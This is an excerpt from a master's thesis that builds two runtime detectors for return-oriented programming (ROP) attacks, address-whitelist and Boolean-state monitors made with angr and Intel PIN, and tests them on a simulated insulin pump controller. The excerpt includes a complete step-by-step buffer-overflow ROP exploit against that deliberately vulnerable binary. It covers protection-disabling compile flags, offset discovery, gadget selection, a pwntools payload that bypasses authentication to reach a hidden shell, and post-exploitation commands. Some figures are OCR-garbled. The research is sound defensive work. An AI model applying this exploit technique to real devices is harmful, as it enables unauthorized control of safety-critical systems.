Exploit Structure

The exploit is implemented in Python using the Pwntools framework, and we construct a
precise ROP payload with the following layout:

payload = b’A’ * 48 # Overflow buffer to reach saved return
address

payload += b’B’ * 8 # Overwrite saved RBP (stack frame pointer)

payload += p64(0x401016) # Stack alignment gadget (single ’ret’)

payload += p64(0x401196) # Address of technician_shell() function

Each component has a specific role in enabling the exploit:

Buffer Overflow Offset (48 bytes): This is the exact distance from the start of the vulner-
able buffer to the saved return address on the stack. It was identified empirically using
cyclic patterns and offset discovery tools. see

RBP Overwrite (8 bytes): Although not strictly necessary for control hijacking, this is
included to preserve stack alignment and avoid side effects in subsequent function calls or
returns.

Alignment Gadget (ret at 0x401016): On x86_64 platforms, the System V ABI [1] requires
the stack to be 16-byte aligned before a function call. The System V Application Binary
Interface (ABI) is a standard that defines how functions are invoked at the binary level,
including register usage, argument passing, and stack alignment conventions for Unix-
like operating systems. Specifically, it mandates that the stack pointer (%rsp) must be a
multiple of 16 before a call instruction is executed. This gadget ensures alignment after
the RBP overwrite and before transferring control to the target function. Without this, the
program may crash or misbehave during execution of standard library routines due to
misaligned memory access [1].

Final Jump Target (0x401196): This address points to the technician_shell() function —
a privileged, password-protected diagnostic interface. Under normal conditions, access
to this function requires successful authentication. The ROP payload bypasses this logic
entirely and transfers execution directly to the function’s entry point.




6.2. Exploratory Static Modeling Tools 43

Payload Delivery

The payload is injected through a simulated user interaction flow using pwntools, target-
ing the “Administer Insulin Dose” input path:

p-sendline(b’17) # Select "Administer Insulin Dose"
p-sendline(b’17) # Select insulin type (Rapid)
p-sendline (payload) # Send the crafted exploit buffer

When the vulnerable scanf () processes the payload, the return address is overwritten.
Upon returning from manage_dose (), control jumps to the injected address sequence, lead-
ing to the execution of the diagnostic shell and bypass of all authentication controls.

Having demonstrated how a ROP payload can successfully hijack control flow in a vul-
nerable binary, we next explore the static analysis tools required to support runtime de-
tection. Before we introduce the detection mechanisms themselves, this section outlines
how symbolic frameworks such as LLVM were used to extract program structure, identify
control-transfer targets, and generate the intermediate models required for both detection
techniques.

6.2 Exploratory Static Modeling Tools

Before finalizing the static analysis toolchain using angr, we explored multiple approaches
for constructing control-flow graphs from the target binary. These early prototypes helped
us understand the internal structure of the insulin_pump application and informed
how both ARD and BSVD would later define “legal” control-flow.

Manual Call Graph Extraction via LLVM IR. In an early experiment, we extracted a
call graph directly from the LLVM Intermediate Representation (IR) of the binary. Using
pattern matching with regular expressions, a Python script parsed the IR to identify:

Function definitions (e.g., define dso_local void @func()),
Direct function call instructions,
Caller-to-callee relationships.

The resulting graph was emitted in .dot format for visualization. Although this method
was not used in the final detection logic, it proved valuable for manually inspecting control
paths and confirming the location of sensitive routines like technician_shell(), which

can be seen in
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Figure 6.1: Output of the manual call graph extraction using LLVM IR

Boolean-Enriched Control Flow Graph We also implemented a richer semantic repre-
sentation of the control-flow using a Boolean graph model. Here, each node corresponded
to a program state (e.g., a function or a conditional), and edges represented legal tran-
sitions as seen in States were annotated with Boolean labels (e.g., B_FUNC_SYSTEM,
B_LOOP_4), allowing the execution trace to be matched against statically defined logical
constraints.
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Figure 6.2: Output of the Boolean-enriched CFG call graph extraction
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This exploratory model served as an early precursor to the final BSVD JSON used at
runtime. It allowed us to simulate different execution flows and test how well Boolean
logic could capture legal versus illegal transitions, an idea later refined in our formal
BSVD detection engine.

Implementation Notes. The corresponding scripts for both the manual call graph extrac-
tion and Boolean CFG prototyping are included in Appendix While these tools were
ultimately replaced with the Angr-based pipeline, they contributed to the design direction
of both detection models and helped validate core assumptions about program structure
and sensitive control transitions.

With the static model extraction framework in place, we now shift to the first runtime
detection strategy: ARD. This method monitors return instructions during execution and
compares them to a whitelist of statically defined control-flow targets, flagging any unex-
pected transitions as potential control-flow hijacks.

6.3 Address-based ROP Detection (ARD)

The goal of Address-Based ROP Detection is to identify and flag ROP attacks at runtime by
observing the control-flow behavior of a binary and validating return instruction targets
against a statically computed whitelist of legitimate addresses. This detection technique
focuses on the granularity of the RET instruction, which is a common building block in
ROP chains.

Rationale

Detecting runtime ROP behavior requires a lightweight mechanism capable of validating
control-flow integrity at the binary level, without dependence on symbolic reasoning, de-
bug symbols, or source code access. The address-based detection method satisfies these
constraints by leveraging instruction-level instrumentation to monitor all executed RET in-
structions and verify their return targets against a statically extracted set of valid control-
flow destinations.

system Architecture

The Address-Based ROP Detection system is divided into two main components: a Static
Analyzer, which operates offline to generate a whitelist of valid control-flow targets, and
a Runtime Monitor, which instruments the executing binary to validate return instructions
against this whitelist. The components communicate via a shared JSON-based configura-
tion file that encodes the permitted return targets and sensitive function addresses.
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Static Analyzer (Offline Phase) The offline phase is implemented using the angr binary
analysis framework. Its purpose is to statically extract legitimate return addresses and
identify sensitive control-flow targets, such as privileged routines (e.g., technician_shell).
This process involves: (1) Reconstructing the CFG using CFGFast (). (2) Extracting function
entry points and constant jump/call targets from the VEX intermediate representation. (3)
Matching sensitive function names from a predefined list (when symbol information is
available). (4) Serializing the analysis results into a valid_rets.json file, containing:

valid_targets: A list of statically known legitimate return addresses.

sensitive: A list of critical functions that should only be reachable through intended
control paths.

This whitelist serves as the policy baseline against which runtime return addresses are
validated.

Runtime Instrumentation Monitor (Intel PIN) The runtime component is implemented
as a custom Pintool, built with Intel PIN, a dynamic binary instrumentation framework.
This monitor is responsible for intercepting every RET instruction executed by the binary
and classifying its destination address using the statically generated whitelist. Its respon-
sibilities include: (1) Hooking all RET instructions using INS_IsRet(). (2) Extracting the
dynamic return address using IARG_RETURN_IP. (3) Validating whether the address falls
into one of the following categories:

Whitelisted: Valid return as per static CFG.
Sensitive: Critical routine entry (e.g., technician shell).

Dynamic/Unverifiable: Return into high-memory regions (e.g., heap or JIT-allocated
memory).

Unknown: Return address not present in the whitelist.

Lastly, (4) a RET chain counter is maintained to identify dense sequences of consecutive
RET instructions indicative of a ROP chain.

The tool writes all observations to a log file (rop_detector.log) for both real-time monitoring
and forensic analysis.

Shared Whitelist and Reporting The static and dynamic components are decoupled but
operate over a shared configuration and logging interface: (1) The whitelist (valid_rets.json)
is consumed by the runtime monitor at startup to initialize lookup sets. (2) The log file
contains structured entries for each intercepted return, including;:

Source and target addresses,
RET chain state,
Classification result (e.g., sensitive, unknown),
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Alerts raised, if any.

This separation of policy generation and enforcement makes the system modular and
adaptable to other binaries or deployment targets.

6.3.1 Static Whitelist Generation

The offline analysis phase constructs a static whitelist of legitimate return targets and
critical control-flow locations using the Angr framework. This whitelist serves as the basis
for validating return instructions at runtime and must be generated before instrumentation
begins.

Tooling and Setup

The analysis is performed using the CFGFast() [20] component of Angr, which allows
rapid recovery of a program’s CFG without requiring execution. The binary under analysis
in this project is the vulnerable insulin pump controller (insulin_pump), compiled with
symbols retained. The static analyzer is implemented in Python and outputs a structured
JSON file valid_rets.json. see [subsection 10.1.2[Listing 10.1} for detail overview and code
implementation.

Extraction Logic

The whitelist is composed of two main sets: valid_targets and sensitive. These are ex-
tracted as follows:

Function Entry Points: All statically identifiable function entry addresses are recorded
using proj.kb.functions. These represent valid return destinations under normal execu-
tion.

Call and Jump Targets: Constant control-flow destinations are extracted by parsing the
VEX Intermediate Representation (IR). These include statically resolvable call and jmp
instructions with fixed addresses.

Sensitive Functions: Specific routines that should only be reachable through authenticated
control paths (e.g., technician_shell) are matched by name. These are manually listed in a
configuration array (SENSITIVE_FUNCS) and resolved during analysis.

SENSITIVE_FUNCS = ["technician_shell", "dbg.technician_shell"]

Matched addresses are recorded separately for high-priority runtime alerting.

Whitelist Output Format

The output file valid_rets.json is organized into two sections:
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{

"valid_targets": [
4198432,
4198656,

1,

"sensitive": [
4198422

]

}

The addresses listed in valid_targets and sensitive are stored in decimal format (e.g.,
4198422), which corresponds to the hexadecimal form used in disassembly tools (e.g.,
0x401196). When comparing addresses during runtime, these values are converted appro-
priately to match the native format used by Intel PIN and the binary itself.

6.3.2 Runtime Instrumentation with Intel PIN

The runtime monitoring component of ARD is implemented using Intel PIN, a dynamic
binary instrumentation (DBI) framework [15]. A custom Pintool called rop_detector.so
is developed to intercept and validate all RET instructions executed during the program’s
lifetime. see|10.1.2.1||Listing 10.2} for a detailed implementation of the rop_detector tool.

Instruction Hooking

At runtime, the Pintool attaches to the target binary and begins to analyze instructions
as they are executed. The tools primary job is intercepting all RET instructions using
INS_IsRet (), and resetting the counter on non-RET instructions in order to maintain clean
tracking of the return chains.

Instrumentation is injected before each RET executes using IPOINT_BEFORE. The address
of the RET instruction ,JARG_INST_PTR and the address it returns to, IARG_RETURN_IP are
captured and passed to a handler function.

Return Target Classification

Each return address encountered at runtime is compared against the static whitelist to
determine its classification:

Whitelisted Return: The address appears in the valid_targets list from valid_rets.json. No
alert is raised.

Sensitive Function Return: The address matches one of the sensitive functions in the
sensitive list. This triggers a high-severity alert, as such transitions should only occur
through verified control-flow paths (e.g., post-authentication).
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Dynamic/Unverifiable Return: The address falls in a high-memory range (e.g., above
0x700000000000) typically used for heap, stack, or JIT-compiled code. These are noted in
logs but do not raise alerts by default.

Unknown Return: The address is not present in either the valid_targets or sensitive
lists and is not dynamically allocated. This is flagged as a potential control-flow anomaly.

Each classification is logged with details including the return source, target address, and
current chain state.

RET Chain Counter

To detect ROP behavior, the tool maintains a RET chain counter, incremented on every
consecutive RET instruction. If this counter exceeds a predefined threshold (default: 5),
it is flagged as a possible gadget chain. Encountering any non-RET instruction resets the
counter. The choice of threshold balances detection sensitivity and false positive avoidance,

as described further inlsubsection 6.3.3

6.3.3 RET Chain Detection Heuristic

A distinguishing feature of ROP attacks is the dense chaining of RET instructions — each
redirecting control to a small instruction sequence (gadget). In typical, benign program
execution, RET instructions are interleaved with CALL, arithmetic, or memory operations.
However, in ROP attacks, chains of RETs may appear in rapid succession without such
interleaving.

To detect this behavior, the runtime monitor employs a RET chain counter, which incre-
mentally tracks the number of consecutive RET instructions executed without interruption.

Heuristic Logic

The counter operates as follows: Each time a RET instruction is executed, the counter is
incremented by 1. If any non-RET instruction is encountered, the counter is reset to zero.
If the chain length exceeds a predefined threshold, it is flagged as a potential ROP gadget
chain.

Default Threshold and Rationale
The default threshold is set to 5. This value reflects an empirically derived balance:

Lower thresholds (< 5) may introduce false positives from legitimate nested or re-
cursive function returns.

Higher thresholds (> 5) may fail to catch short yet functional ROP chains (e.g., those
calling execve() or system() with minimal gadget use).
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To evaluate the practical viability of ARD, we apply the technique to the insulin_pump
binary and demonstrate how our system accurately detects control-flow deviations. The
next section outlines a full ROP attack and illustrates how ARD detects and reports the
anomaly during runtime.

6.4 ARD Runtime Attack Demonstration

This section presents a detailed technical methodology to perform and validate a ROP at-
tack against a vulnerable insulin pump simulation program. This process includes vulner-
ability identification, buffer overflow offset calculation, gadget discovery, and final payload
construction.

Insulin Pump Simulation Code (PoC)

Listing 10.1.1|showcases the full C source code for the insulin pump simulation used in this
proof-of-concept (PoC). This program simulates a simple medical device interface where
an authenticated technician can access a hidden shell.

Security Note: The password used to authenticate the technician is hardcoded into the
source code as:
#define PASSWORD "TechAccess2025"

This practice is intentionally used here to allow reproducibility of the attack during exper-
imentation. However, hardcoding passwords is highly discouraged in real-world applica-
tions and violates secure coding principles.

Step 1: Preparation and Compilation

To prepare the vulnerable binary, the following compilation flags are used to disable pro-
tections that would otherwise prevent exploitation:

gcc -fno-stack-protector -z execstack -no-pie insulin_pump.c -o insulin_pump

Explanation:

fno-stack-protector: disables stack canaries.
z execstack: allows execution of code on the stack.
no-pie: disables Position-Independent Executables, making code addresses pre-

dictable.
Step 2: Identifying the Buffer Overflow Offset

The buffer overflow resides in the manage_dose() function due to unsafe use of scanf ()
on a fixed-size buffer.
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To identify the precise overflow offset, we use Pwntools to generate and analyze a cyclic
pattern.

Modified generate_cyclic.py:

from pwn import x*
pattern = cyclic (200, n=8)
print (pattern.decode ())

Run the program inside gdb and provide the cyclic pattern as input:

gdb ./insulin_pump
(gdb) run

Choose Administer Imnsulin Dose, then Insulin Type, then paste pattern

kali ali ~/Documents/Master-Thesis-project

...... faaaaaaacaaaazaahaaaaaaaiaaaaaaaiaaaaaaakaaaaaaalazazaaama

Figure 6.3: Generating a cyclic pattern using Pwntools to identify the exact buffer overflow offset. The pattern
is later used as input during program execution to help locate the crash address.

Insulin Pump Controller

Insulin Pump Main
Admini Insulin D

: t Insulin T
1. Rapid

m 1= units.

n fault.

Figure 6.4: Program crash output in gdb after injecting the cyclic pattern into manage_dose (). The segmenta-
tion fault reveals the overwritten return address, used to calculate the precise overflow offset

After making the program crash, we check the info registers with the following command:

(gdb) info registers
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Figure 6.5: Register state at the time of crash as displayed by gdb. The rbp register holds the overwritten value
0x6161616161616167, indicating the buffer overflow location and aiding in offset calculation.

we see that RBP register value at crash is: 0x6161616161616167
Use the following script to calculate the exact offset:

find_offset.py:

from pwn import *

crash_val = 0x6161616161616167

offset = cyclic_find(p64(crash_val), n=8)
print (£" [+] Exact offset: {offsetl}")

Result: Exact offset = 48 bytes

kali® kali ~/Documents/Master-Thesis-project

_offset.py

La
48

Figure 6.6: Calculating the exact overflow offset using Pwntools’” cyclic_find() method with the observed
crash value. The result confirms that the offset to the return address is 48 bytes
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Step 3: Identifying a Stack Alignment Gadget

In 64-bit architectures, function calls must adhere to the System V. AMD64 ABI, which
requires the stack to be 16-byte aligned before any call instruction is executed. Failing to
meet this alignment requirement can lead to runtime crashes, particularly when calling
system functions such as system().

To ensure proper alignment during our ROP chain execution, we need to insert a neutral
instruction, a so-called "clean RET gadget", which consists of a single RET instruction and
no additional operations (such as pop, mov, or add). This gadget acts as padding and helps
align the stack without introducing unwanted side effects or corrupting the register state.

We used the tool ROPgadget to identify a clean RETinstruction within the binary:

ROPgadget --binary insulin_pump | grep "ret"

The output includes multiple return gadgets. We selected one that contains only a stan-
dalone RET instruction:

kal i)-[~/Documents/Master-Thesis-project
insulin_pump | ri
b : add bh, bh
1 d

add dword ptr [rbp - ©8x3

: sub esp,
: sub rsp,

Figure 6.7: ROPgadget output listing return-oriented instructions extracted from the binary. A clean stan-
dalone ret gadget at address 0x401016 is selected to maintain 16-byte stack alignment without affecting
register state.

Selected Gadget:
0x0000000000401016 : ret
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This address will be used in our exploit chain after the RBP overwrite and before the
call to the target function technician_shell(), ensuring proper alignment and reliable
redirection of the execution flow.

Step 4: Locating the Technician Shell Function

To redirect execution to the hidden diagnostic shell, the memory address of the technician_shell ()
is needed. We retreived the memory address by using the Linux command objdump:

objdump -d insulin_pump | grep technician_shell

kali® kali ~/Documents/Master-Thesis-project
insulin_pump | technician_shell

000401196 <
e8 7c ff ff ff call 401196 <

Figure 6.8: Using objdump to retrieve the address of the hidden technician_shell() function within the
binary. This address (0x401196)

Function Address:
0x0000000000401196 <technician_shell>

This address (0x401196) will be used as the final jump target in the ROP payload.

Step 5: Crafting the Exploit Payload

With the overflow offset, the stack alignment gadget, and the function address identified,
the final payload can be constructed using pwntools. see for more details on
exploit implementation.

6.4.1 Step 6: Executing the Exploit

To execute the exploit, simply run the Python script:

python3 exploit.py

If successful, the program will redirect execution to the technician_shell() function, as
shown in the output:

[Technician Shell] Authorized access only!

$

This confirms that privilege boundaries have been bypassed, and an unauthorized user
now has access to the restricted shell.
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Step 7: Post-Exploitation Confirmation

To validate that we have successfully gained shell access with elevated privileges, we issue
basic system commands:

whoami
id
uname -a

This final step confirms full control of the target environment and demonstrates that the
ROP attack has been carried out successfully.

While the ARD mechanism proves effective for identifying anomalous return sequences,
it provides limited insight into the semantics of control-flow intent. To overcome this, we
introduce a second detection strategy based on Boolean logic in

6.5 Boolean State Validation Detection (BSVD)

Motivation and Challenge

As mentioned in previous sections, runtime attacks such as ROP and JOP manipulate the
execution flow of a program at runtime without injecting new code, making these attacks
stealthy. Traditional defenses such as Control Flow Integrity, Control Flow Attestation,
or Hash-based verification suffer from high runtime overhead, symbolic explosion, and
limited flexibility in adapting to changing binary structures.

In this section, we introduce a novel logic-based runtime verification strategy grounded
in a compact abstraction of the CFG — the BSVD. Rather than monitoring all paths or
performing symbolic execution, the method constructs a Boolean logic representation that
captures only key semantic transitions in the program. This strategy enables efficient and
scalable runtime enforcement using Intel PIN.

6.5.1 Formal Definition of BSVD

To formalize our strategy, we define a Boolean CFG as an abstracted model that simplifies
a program’s control logic into a finite-state Boolean system:

Basic Notation

Let the control-flow graph be represented as:
CFG = (N,E) (6.1)

where:
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N is the set of basic blocks or instruction-level nodes,
E is the set of directed edges representing possible transitions.

Let:
B = {by,by,..., bk} (6.2)

be the set of Boolean variables representing:

Conditional branches (e.g., result of comparison checks),
Function entries and exits,

Loop heads and exits,

Invocation of sensitive operations (e.g., system calls).

Let:
q>: {¢1l¢21"'/¢1’l} (6'3)

be the set of Boolean transition functions, where each:
@i By — By (6.4)

governs how the Boolean state transitions based on control-flow execution.

Definition: Boolean CFG
We define the Boolean control-flow graph as the tuple:
Boolean CFG = (B, ®,By) (6.5)

where:

B is the Boolean state vector representing current control-flow state,
® is the logic model of permissible transitions,
By is the initial Boolean state (e.g., entry at main).

Control-Flow Transitions and Violation Conditions

Each Boolean state vector B; evolves according to a transition function ¢; € ® based on
the observed control-flow path.

Let the transition logic be formally described as:

Bi1 = ¢i(By) (6.6)

To detect anomalies such as ROP, we define a violation predicate over the Boolean state:

1 if =B, €
Violation(B;) =4~ ' 6.7)
0 otherwise
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This indicates that any Boolean configuration not permitted by the transition set @ is
flagged as an anomaly.

As a concrete example, the detection rule:

ROP_ALERT = = BryNC_AUTHENTICATE_TECHNICIAN /\ BFUNC_sysTEM (6.8)

identifies control hijacks bypassing authentication.

Boolean Semantics

Each Boolean variable represents a node in the binary’s runtime logic, dynamically ex-
tracted from static control-flow and instrumentation.

Variable Semantic Meaning

B_FUNC_USER_INTERFACE Control reached the user interface entry point

B_FUNC_AUTHENTICATE_TECHNICIAN | Authentication routine was executed

B_FUNC_TECHNICIAN_SHELL Diagnostic shell entered

B_FUNC_SYSTEM A system() call was triggered (ROP sink)

B_FUNC_MANAGE_DOSE Dose management functionality path was accessed

B_LOOP_N Indicates entry into loop N as defined by src/dst pairs

B_COND_M A conditional expression evaluated to true (e.g., t4 in
address 0x4010f0)

Table 6.1: Boolean Variables Automatically Derived from Binary and Static CFG

Transition Functions (P)

Each transition function ¢; € ® defines how Boolean states are allowed to transition at
runtime, based on observed instruction addresses and known calling context. These are
derived from symbolic edge traversals, such as:

B_FUNC_AUTHENTICATE_TECHNICIAN = B_FUNC_USER_INTERFACE AND B_LOOP_50
B_FUNC_TECHNICIAN_SHELL = B_FUNC_AUTHENTICATE_TECHNICIAN AND B_LOOP_67
ROP_ALERT = NOT B_FUNC_AUTHENTICATE_TECHNICIAN AND B_FUNC_SYSTEM

These rules are not hardcoded; they are programmatically extracted using control-flow
edge matching and semantic node resolution using the JSON-based representation.

This BSVD model supports runtime detection of control violations such as ROP or unau-
thorized access patterns, without maintaining full path histories or employing complex
symbolic tracking.

BSVD Construction and Runtime Mapping

The Boolean CFG is constructed automatically from the binary’s static CFG using tooling
such as angr.CFGFast () [20] and further refined via symbolic inspection of loops, function
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calls, and conditional branches. Every relevant instruction target (e.g., a call to system())
is mapped to a Boolean node.

During execution, Intel PIN dynamically instruments:

Direct and indirect calls
Function entries (via RTN_AddInstrumentFunction)
Return targets and sensitive sinks (e.g., system(), exit())

At runtime, when a monitored address is hit, its corresponding Boolean is evaluated. If
the current active Boolean states do not satisfy any of the rules in ®, a ROP violation or
anomaly is reported.

6.5.2 Runtime Monitor Implementation using Intel PIN

The BSVD model described in the previous section enables a formal, scalable encoding of
valid control-flow transitions using Boolean logic. However, to validate execution against
this model at runtime, we must monitor the executing binary in real time. This is accom-
plished using Intel PIN.

The runtime monitor fulfills the following primary tasks:

Load and parse the Boolean model ( boolean_cfg. json).

Instrument the binary to track CALL, RET, and function entries.
Maintain a live Boolean state vector B;.

Detect unauthorized transitions and raise alerts if rules in @ are violated.
Write structured runtime logs to support debugging and audit.

Runtime Instrumentation with PIN
PIN provides two critical callbacks:

INS_AddInstrumentFunction: Invoked for each instruction. We hook:
INS_IsCall() and INS_IsDirectControlFlow() for valid CALLs
INS_IsRet () for monitoring return-based control transfers

RTN_AddInstrumentFunction: Triggers on function routine entry. Used to detect
ROP-style jumps into a function without CALL semantics (e.g., technician_shell).

Boolean validation Logic

At the implementation level, this logic is triggered inside the OnCall() handler, which
is invoked by our PIN-based instrumentation whenever a function call or branch is en-
countered. The handler receives the target instruction address and performs three main
steps:
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Resolves the target address to its corresponding Boolean node label b; using the
JSON model.

Iterates through all currently active states b; (i.e., those where B;(t) = 1).

For each pair (bj, b;), checks whether the transition b; = b; is valid according to the
rule set ®.

This low-level event stream is matched against the high-level Boolean model, enabling
semantic validation of control flow at runtime.

At runtime, when a control-transfer instruction is encountered, the detection engine exe-
cutes the following logic:

Given a runtime instruction address a;, resolve it to a Boolean node b; € B.
For all active states b; where B;(t) = 1, check if the transition b; = b; is permitted:

Hb]‘ € B such that B]‘(t) =1 AN ¢ = (bj = b)) €D (6.9)
If valid, update the state vector:
Bi(t+1):=1 (6.10)

and log the transition as allowed.

If no such valid transition is found, log a violation and raise an alert:

ROP_ALERT := true (6.11)

Suppression of Noisy Transitions

Certain nodes are system-level routines or unresolved targets (e.g., B_FUNC_INIT, SUB_401020,
etc.). These are not part of the modeled semantic logic and may trigger spurious alerts.

We suppress them by applying filters on the symbolic names (e.g., checking for substrings
INIT, SUB_, FINI, etc.). This improves the signal-to-noise ratio without compromising the
detection quality.

To validate our Boolean model in a real-world scenario, the following section demonstrates
how the BSVD detection engine successfully identifies unauthorized execution sequences,
including ROP-style privilege escalations, in a practical attack on the insulin_pump binary.

6.6 BSVD Runtime Attack Demonstration

This section provides a step-by-step, highly detailed walkthrough of a complete validation
cycle for the Boolean ROP Detection Framework. We document every stage-static model
creation, runtime instrumentation, baseline verification, exploit execution, alert generation,
and performance assessment-mirroring a real-world blue-team test scenario.
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Environment Snapshot

Host OS: Kali Linux 2024.4 (5.18 kernel, x86_64)

CPU: Intel Core i7-1360P (Intel_64, CET disabled)

Compiler: gcc 13.2.0 (for vulnerable binary); g++ 13.2.0 (for Pintool)

PIN: Intel PIN 3.28-98749-gcc-linux

Python: 3.12.1 with angr==9.2.15, claripy==9.2.15, nlohmann_json header v3.11

All commands below assume PROJECT_DIR = ../pin/source/tools/rop_detector. Rela-
tive paths are given where relevant to guarantee reproducibility.

Static Model Generation

Objective: Produce a formal Boolean representation of the program’s legitimate control-flow
edges.

Compile vulnerable target.

$ gcc -fno-stack-protector -z execstack -no-pie insulin_pump.c -o insulin_pump
$ sha256sum insulin_pump
531le... 1insulin_pump

We record the SHA-256 hash to ensure the model and runtime tests are bound to a single,
immutable binary.

Building the CFG.

$ python3 generate_boolean_cfg.py
[+] CFG generated.
[+] Boolean CFG model written to /.../boolean_cfg.json

Key metrics extracted:

Boolean nodes: 131

Transition rules: 126

Sensitive sinks: 2 (system, exit)
Entry nodes: 1 (B_ENTRY_MAIN)

A snippet of the resulting JSON is shown in Listing

Runtime Instrumentation Setup

$ cd $PROJECT_DIR
$ make clean && make -3j8
[COMPLETE] obj-intel64/boolean_rop_detector.so
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The final shared object is 148 KB and links statically against nlohmann_json.

Launch helper wrapper. For convenience we created a one-liner shell script that clears
previous logs, exports PIN_ROOT, and starts the target under PIN.

#!/usr/bin/env bash
rm -f boolean_rop_detector.log
pin -t obj-intel64/boolean_rop_detector.so -- ./insulin_pump "$Q@"

Listing 6.2: run_with_detector.sh

Baseline Validation (Legitimate Session)
We execute the binary through an end-to-end legitimate flow:

Menu -> Technician Login
Enter correct password “TechAccess2025”
Access diagnostic shell, then exit

No alerts are produced and the produced log file ends with No violations detected".

( and 126 transition rules.
[INIT] Activated entry point: B ENTRY MAIN

ITION] B ENTRY MAIN == B FUNC USER INTERFACE (OK)
ITION] B FUNC USER INTERFACE => B FUNC AUTHENTICATE TECHNICIAN (OK)
SITION] B FUNC AUTHENTICATE TECHNICIAM == B FUNC TECHNICIAN SHELL (OK)

Figure 6.9: BSVD output during a legitimate execution flow. All transitions follow the statically defined
semantic policy, including authenticated access to B_LFUNC_TECHNICIAN_SHELL, resulting in no alerts.

Attack Validation (ROP Exploit Session)

We now launch exploit.py, which automates the following sequence:

Select “Administer Insulin Dose” to reach manage_dose ()

Send 48 byte padding, 8 byte RBP fill, 1 ret gadget at 0x401016, and final target
0x401196

Gain direct shell without authentication

Detector output. shows the complete highlighted log excerpt.
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--- Log Trace ---
[+] Loaded 131 boolean nodes and 126 transition rules.
[INIT] Activated entry point: B ENTRY MAIN

[ALERT] No valid transition into: B FUNC TECHNICIAN SHELL

Figure 6.10: BSVD output during an exploit session. Although the system initializes correctly and loads
the corresponding Boolean node and transition for the entry point, an alert is raised when execution jumps
directly into B_FUNC_TECHNICIAN_SHELL without a valid semantic transition, confirming detection of a control-
flow violation

Key Takeaways

The Boolean ROP Detection Framework accurately differentiates between legitimate
and malicious control flows with zero false positives during our tests.

Dynamic enforcement depends only on function addresses; therefore, it remains ag-
nostic to compiler optimisations and resilient to minor binary changes (e.g. instruc-
tion padding).

The approach scales: regenerating boolean_cfg. json for a new firmware image is
automatic and takes < 3 seconds.

This comprehensive test run validates that Boolean modelling plus lightweight runtime
instrumentation offers a practical and explainable defence layer against ROP-style attacks
in safety-critical IoT devices.

6.7 Hash-based Detection (PoC)

Equivalence to Hash-Based Control-Flow Validation

Although ARD operates by validating return addresses against a whitelist, the mechanism
is conceptually equivalent to hash-based control-flow validation. In a hash-based model,
the structure and integrity of control flow are encoded using nested hash functions applied
to the code regions or transitions between functions.

Hierarchical Hash Construction

Consider a scenario where the execution path is composed of functions 4, b, and 4, ulti-
mately returning to a higher-level function z. In a hash-based validation system, one might
construct a hierarchical hash model as follows:

H(z) = H(H(a) + H(b) + H(d))
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The body or identifier of each function is hashed individually, and the top level hash
aggregates them to reflect the expected control-flow composition. This approach models
control flow as a deterministic hash chain that captures both structure and order.

This composite hash representation can also be broken down into intermediary steps, such
as

Where H(a), H(b), and H(d) represent nested relationships or transitions between func-
tions, and each computation reflects the accumulated control-flow context.

Relation to ARD

In ARD, we perform a simpler runtime check by validating that the return address after a
RET instruction lies within a known set of statically whitelisted addresses:

Areturn € V/ V= {alz az,..., an}

This can be interpreted as a degenerate form of the above hash-based system, where:
H(return target) € {H(a), H(b),... }

but the actual hash computation is skipped at runtime in favor of comparing memory
addresses directly. This simplification is valid under the assumption that code at these
addresses is immutable and unaltered during execution.

Address-Based ROP Detection is effectively a shortcut to what hash-based models rep-
resent more explicitly: a consistent and verifiable control-flow structure. By validating
against precomputed addresses instead of recomputing function-level or path-level hashes,
ARD achieves low runtime overhead while preserving functional equivalence, under the
constraint that code regions remain static and trusted.



Chapter 7

Evaluation

The aim of this section is to rigorously evaluate the effectiveness and efficiency of the
Boolean-based runtime monitor.

7.0.1 Analysis and Discussion

The Boolean runtime monitor successfully accepts all semantically valid control-flow tran-
sitions and rejects unauthorized ROP-style entries into protected functions. Legitimate
tests produced no alerts and followed paths specified in the transition graph ®. In con-
trast, exploit executions consistently triggered alerts due to skipped preconditions, such
as B_FUNC_AUTHENTICATE_TECHNICIAN = 0.

Furthermore, alerts such as Unauthorized sensitive sink execution were raised only
in response to calls into system() without valid setup, validating the policy enforcement
logic.

7.1 Objectives of Evaluation

7.1.1 Correctness - Can the detectors (ARD, BSVD) accept all legitimate control
flows?

The correctness criterion for our two detection mechanisms is to ensure that all seman-
tically valid control-flow paths are accepted without triggering false positives. In other
words, the detectors must not raise alarms when the program executes as expected under
benign conditions.

We developed a unified Python automation script (see appendix (10.1.4) that drives the eval-
uation of both detectors by executing a set of predefined legitimate control flows in the

64
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insulin_pump program. The script dynamically switches between detection engines by
replacing the PIN instrumentation module:

boolean_rop_detector.so for BSVG.
rop_detector.so for ARD.

After each execution, the generated runtime logs are automatically saved with unique
identifiers (e.g., flow_1.log, flow_2.log, ...) in a dedicated log/ directory. This enables
consistent, repeatable testing across both detection models using the same test harness.

Legitimate Control Flows Tested

Flow ID | Control Flow Description
1 Technician login — correct password — technician shell — exit
2 Administer dose — valid insulin type and dosage
3 Exit from main menu without any interaction
4 Technician login — incorrect password — rejected — menu — exit
5 Administer dose — invalid insulin type — rejected — menu — exit
6 Administer dose — valid type + invalid dosage — rejected — menu — exit

Table 7.1: List of tested legitimate control flows

This subsection presents the evaluation results for BSVD, while the next subsection will
document ARD under the exact same flows.

Observed BSVD Transitions
Across the six test logs, the following valid Boolean state transitions were detected:

B_ENTRY_MAIN = B_FUNC_USER_INTERFACE
B_FUNC_USER_INTERFACE = B_FUNC_AUTHENTICATE_TECHNICIAN
B_FUNC_AUTHENTICATE_TECHNICIAN = B_FUNC_TECHNICIAN_SHELL
B_FUNC_USER_INTERFACE = B_FUNC_MANAGE_DOSE

These transitions reflect expected and permitted routes through the program logic. Even
in rejection scenarios (e.g., Flows 4-6), the attempted transitions remained compliant with
the control policy, and no violations were reported.

BSVD Evaluation: All Valid Control Flows
The Boolean ROP detection engine successfully accepted all tested legitimate flows:

(1) No false positives were raised across any path.
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(2) All transitions matched the pre-defined boolean_cfg. json model.

(3) Each log was checked to ensure transitions conformed to the static boolean_cfg. json
policy.

(4) The system demonstrated precise semantic validation of execution paths.

sition rule

>ITION] B FUNL SER_IN d B FUNC MANAGE DOSE (0K)

= 26 transition rule
[INIT] Activ r-ntmj entry point: B ENTRY MAIN
SITION] B ENTRY MAIN == B FUNC USER INTERFACE (OK)

: point: B Y
TION] B ENTRY MAIN => B FUNC I = 0
TION] B _FUNC U *_INTER UNC AU NTICATE TECHNICIAN (OK)

es and 126 transition rule

Ht. B ENTR TAIN
ITION] B ENTR IN == B FUNC USER INTERFACE (O0K)
ITION] B FUNC USER INTER B FUNC AGE DOSE (O0K)

. - des and 126 transition rules.
